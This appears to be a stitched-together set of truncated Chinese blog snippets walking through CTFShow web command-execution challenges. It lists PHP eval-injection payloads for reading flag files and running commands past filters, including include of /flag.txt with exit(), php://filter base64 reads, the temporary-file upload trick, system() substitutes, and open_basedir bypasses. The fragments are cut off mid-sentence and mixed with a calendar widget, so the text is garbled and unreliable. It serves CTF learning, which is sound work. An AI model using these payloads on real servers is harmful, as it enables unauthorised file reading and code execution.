c=$a=opendir('/');while(($file=readdir($a)) !=false){echo$file." ";}#扫描根目录有什么文件#文件包含,因为没有可执行的代码,所以可以直接读取文件内容c=include('/flag.txt'); c=require('/flag.txt'); c=include_once('/flag.txt'); c=require_once('/flag.txt'); 3.web71 进行目录扫...
也是所有字母被过滤,首先构造一个post上传文件的前端数据包(在vscode中:post文件上传) 发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母。 上传一个web56.php文件,文件内容为 #!/bin/shls 在题目文件文件夹里 注:shell...
做法同上,不过发现在抓到的报文中写入命令的地方最后不能留空格,不知道为啥子。 Web57 //flag in 36.phpif(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i",$c)){sys...
web73 命令执行—原生类遍历目录 web75-通过pdo类开启数据库链接来突破函数限制读取文件 web76—通过php7.4的新特性—FFI调用C语言写的库来读取文件 <2025年1月> 日一二三四五六 2930311234 567891011 12131415161718 19202122232425 2627282930311 2345678 常用链接 ...
CTFShow-Web入门-命令执行 71-74 web71 payload:c=include("/flag.txt");exit(); 执行完前面的包含语句后会强制退出,不会执行后面的语句 web72 error_reporting(0);ini_set('display_errors', 0);//你们在炫技吗?if(isset($_POST['c'])){$c=$_POST['c'];eval($c);$s=ob_get_contents();ob...
web59~show_source读取 web60-65~show_source读取 web66~highlight_file读取 web67~var_dump打印 web68~include读取 web69~var_export打印 web70~var_export+include web71~exit(0); 绕过后边代码 web72~open_basedir web73 web74~glob协议 web75~不太行 web76 web77 web118~linux系统变量 web119~通配符...
web73 strlen()绕过 没给源码,先利用上一题的payload将flag文件名跑出来为:flagc.txt 使用poc后提示strlen()函数被禁用strlen()函数返回字符串的长度,所以自定义一个返回字符串长度的函数来代替strlen即可 function strlen_admin($s){ $cnt = 0; while(isset($s[$cnt])) { $cnt ++; } return $cnt; }...
web30 if(!preg_match("/flag|system|php/i", $c)){ eval($c); 1. 2. 不能用system,可以考虑用别的呀 等价函数替换 同样能执行shell命令的php函数: system() passthru() # passthru — 执行外部程序并且显示原始输出 exec() # exec — 执行一个外部程序 ...
web 32过滤了: flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\( 这里考虑:利用文件包含以及伪协议读取?c=include%0a$_GET[a]?>&a=php://filter/convert.base64-encode/resource=flag.php这里伪协议的意思是,php://filter(过滤器)/convert.base64-encode(base64编码的过滤器)/resource=flag....
web73: 同上,扫描出来文件名为flagc.txt,但是可以直接include()包含 web74: 同上,扫描出来文件名为flagx.txt,但是可以直接include()包含 Web75: 过滤include; 法一:uaf strlen()函数被过滤,应该可以重写strlen()函数过滤 法二:用PDO连接数据库进行查询...